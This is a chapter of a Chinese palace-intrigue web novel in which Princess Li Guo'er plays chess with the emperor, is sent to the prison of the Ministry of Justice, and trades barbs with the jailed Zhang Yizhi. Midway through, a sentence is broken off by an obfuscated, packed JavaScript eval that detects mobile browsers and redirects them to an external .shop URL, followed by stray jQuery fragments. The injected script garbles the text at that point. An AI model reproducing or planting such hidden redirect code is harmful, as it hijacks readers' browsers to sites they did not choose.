21. 将仲子兮(十)
    “御史台的折子整日往上传,刑部拿不定主意,你也没有看法吗?”

    天授帝一身明黄色长袍,上面绣着暗纹沧海龙腾图,眉目微敛,看向面前垂首默声的太子。

    李显躬身答道:“此案涉及奉宸府,儿臣不敢妄言。”

    堂内陷入寂静,平衍皱了皱眉,看了眼天授帝的神情,沉思片刻便上前低声说道:“圣上,小郡主还在外面等着圣上请安呢。”

    李裹儿进去时合政堂里面静悄悄的,李显侍立在一旁,神情看不出异样。

    天授帝似乎有些疲惫,却还是由平衍扶着起身,出了合政堂。李裹儿陪侍在身后,一道去了九州池,如今虽还未入秋,九州池中的惠风亭下暑气已然消了不少,从湖面吹来的风携着将谢未谢的荷花清香一同掠过檐下。

    自北南下的涧河在西苑一分为二,一支直直南下汇入洛水,一支被引入上阳宫围做了下池,又绕过仙居殿过了宫墙后被引入紫微城中做了九州池,九州池虽比不上上阳宫的下池,不过在紫微城中已然算大了。

    李显出了合政堂后便回了东宫,此时亭下出了一干宫人之外,只有李裹儿和天授帝。

    两人面前是一幅棋局,天授帝执黑子等李裹儿落子,尽管李裹儿每一步都走得很谨慎,但还是没能撑多少时间。不过天授帝并不算严格,在一众皇孙当中,李裹儿已经算是不错得了。

    “比上次有进步了。”天授帝笑道,宛如一位和蔼的长者,然而身上的帝王之气依然凛冽。

    李裹儿闻言很是高兴,眉眼弯弯,像是得了夸奖的小孩子。

    正当一旁的平衍以为两人要再来一盘时,便听得身侧的帝王问道:“张氏还在刑部关着?”

    平衍虽然不解其意,却还是照实答了,说完悄悄观望着天授帝的神色,方才在合政堂内已和太子讨论过此事了,如今又当着李裹儿的面重提,倒有些意味不明了。

    李裹儿对一旁两人的对话置若罔闻,还在低头看着棋路懊悔自己方才走错的那一步,并没察觉到帝王落在自己身上的目光。

    天授帝看了她半晌,说:“张氏贪污敛财,罪大恶极,裹儿认为涉案之人该如何处置呢?”

    李裹儿微微愣神,以前入宫时天授帝也不会介意同小辈提起当下时政,会问问他们的看法,但都是一些普通的琐碎事务,即便有些涉及奖惩的官员也都在五品以下,与此次的事件相比可算得上是微不足道了。

    风从水面吹过,吹动李裹儿臂间的轻纱,她谨慎开口:“安乐不知案情事由不敢评判,此案还得看刑部各位大人明断。”

    天授帝问她张氏如何处置,可这里又包含了几个人呢,她猜不到,只能答得模糊。

    “不知案情事由......”天授帝轻声重复这几个字,看着平衍问道:“刑部可用过刑了?”

    “张大人和张侍郎是前日入的狱,刑部怕是还在等圣上的旨意。”平衍顿了顿,又补充道:“张少卿等怕是已经......”

    刑部尚书再痛恨张氏,想除之而后快却还是得看天授帝的旨意。张易之和张昌宗是前日下的狱,帝王诏令没到之前就还意味着盛宠在身,然而张同休等几人就没有这等殊荣,朝中对张氏的怒火已盛,刑部恰逢此机会自然不会对他们留情。

    天授帝伸手拿起自己方才最后下的一颗黑子,声音听不出喜怒:“既然是同一案,就不应畸重畸轻,合该一视同仁才是。”

    平衍垂首称是。

    李裹儿看着天授帝撤棋方才的举动,知道是要让自己一步,便又拿起白子思考该下在何处,思绪却全然在他俩的对话上。

    “如若朕给你个机会,让你亲观审讯,知晓贪污内情,你又该如何?”天授帝看着举棋犹豫不定的李裹儿问道。

    李裹儿抬眸,眼中一片澄澈,凝思片刻:“我只知专权擅事,成党以富其家者【1】,是为贼臣。”

    年轻女子声音稚嫩,即便说的话也如同朝堂上那些儒臣一样,但天授帝却似乎很受用,面上很是高兴:“今日的局不分输赢,待会儿让平衍带着你到刑部走一趟。”

    李裹儿还没反应过来,天授帝已经由着一旁侍女扶起身,她只得跪安。

    ***

    平衍也并未再回紫宸殿,而是和李裹儿径直出了隆庆门,去了刑部。

    李裹儿摸不准天授帝的意思,只得跟着平衍一道,然而对方并没带她去刑部的办差房,而是直接去了关押犯人的刑狱。李裹儿倒是知道这其中的缘由,刑部尚书张柬之痛恨张氏,却也格外忌讳皇室女眷干涉朝事,所以还是岔开的好,然而她并不知此时的张柬之并不在刑部,而是已经入了宫。

    刑部的人认得天授帝身边的平衍,对他身后的李裹儿倒也没表现得太过震惊。

    张易之原本正在研习手中的一本古籍,听得脚步声时抬头便看到阴暗甬道内的女子。

    “啧,入狱三日,小郡主还是第一个来看我的人呢。”

    李裹儿没有置声,倒是平衍低声提示她,说张同休等都在里面的牢房内,有意引着她向里。

    李裹儿转过身看着平衍,说:“既然是同亲手足,张大人也未必不知此案内情。”

    平衍只得颔首称是,而后在李裹儿的目光中退下,一旁的值档房内刑部员外郎早已备好了茶水,看着入内的平衍立即迎了上去,询问道:“圣上这是何意?”

    茶水袅袅雾气升起,如梦似幻、沁人心脾的味道在这件潮湿的房子里格格不入。

    “同案人员,一视同仁。”平衍依旧是公事公办的语气,他不愿在这些人中落下口实,那杯茶却不得不喝。

    刑部员外郎宋止齐搓了搓手,听着这含糊其辞的口谕有些头大。邵王那件事过去才三年,如今张氏出事正中东宫和魏王府下怀,这个节骨眼上让李裹儿来是看张氏笑话,还是来送他们一程。平衍又不让他派人去办差房那边通传,他只得祈祷最好不要出什么事。

    张易之饶有兴致地看着牢外的人,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14130286|149326||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    似乎像是在看一只误入猎人禁区的小兽。

    李裹儿没接他方才的话,垂眸打量着这件牢房的环境,比她想象中似乎要好一些,被褥干净整洁,桌案上还有闲书,还有一股淡淡的草香,想来是为了驱虫,里面的环境和她脚下这条甬道区别明显,显然是布置过了。案情未明之前,底下的人还是不敢太得罪张易之。

    “张大人拿张岩作饵时,可曾想到会有今日?”李裹儿淡淡开口。

    张易之听到她的话似乎是觉得有些好笑,年纪小的坏处就是这样,总是义愤填膺指责他人。

    “小郡主似乎总是对我有误解,我哪有那等本事。刑部的卷宗记得很清楚,刑部都官郎中刘益群受新安王武崇烈之命,将原本在狱中的张岩放出,而后杀害在永安坊,尸体被烧成一具枯骨。圣上大怒,便将新安王贬去了西京。”

    李裹儿不急不徐地开口:“我倒是听闻刑部当时是看到了奉宸府的文书才放的人。”

    张易之闻言起身,走到她面前,两人不过三步之遥,隔着栏条,仰视着面前的人,面上依然是笑着的,说:“郡主可知,在这京中消息太灵通不是好事,尤其是像你这样小孩子,会失去本有的分辨能力。”说完端详了半晌李裹儿的神色,继续说道,“就算张岩是我放出的饵,又能证明什么呢,我并无杀他的本意。”

    “能舍弃侄子的性命,只为了引我入局,张大人煞费苦心。”

    张易之轻笑:“怎么将我说得如此阴险,我这不是为了让郡主泄愤吗?”

    李裹儿脸色微变,冷眼看着面前的人。

    张易之似乎很是开心,又凑近一步,轻声道:“我只是利用了一个不成器的废物罢了,论狠心哪比得上太子殿下,他倒是连自己精金良玉嘉言懿行的亲儿子都能放弃。”

    刑狱里阴暗潮湿,此时正值夏季,李裹儿却觉得刺骨的寒冷从脚下直传到上肢,指甲掐入手心,却不知她此刻的脸色早已将她的恼怒暴露无遗。

    一边的宋止齐听到张易之的笑声,觉得有些毛骨悚然,瞄了眼旁边的平衍,对方倒是喝茶喝的气定神闲。

    李裹儿听着这笑声,似乎明白了天授帝要她来此的用意,平复呼吸后转过身准备回府,然而未走两步便停了下来。

    张易之看着那单薄的背影,缓缓开口:“郡主读过《异怪录》吗,里面有一种鸾鸟叫灵夜翠尾,是鸟类中最长寿的,然而它也是著名的双生鸟,在成年之前两只鸟需得一直同行飞往仙山,如若途中有一只不幸死去,另一只便会泣血而亡。我很好奇,如今紫微城里仅剩的这只翠尾还能撑多久。”

    刑狱里格外寂静,李裹儿一手撑着墙只觉胸口气血翻涌,待那股感觉平息后她慢慢转身看向张易之对面的那件牢房,里面的人一直听着他俩的对话,手下动作倒是没停,正用不知从哪里捡来的草杆编了一只蛐蛐。

    那双手素净白皙,指节分明。

    李裹儿看了那双手半晌,打蛇打七寸的道理她一直都明白。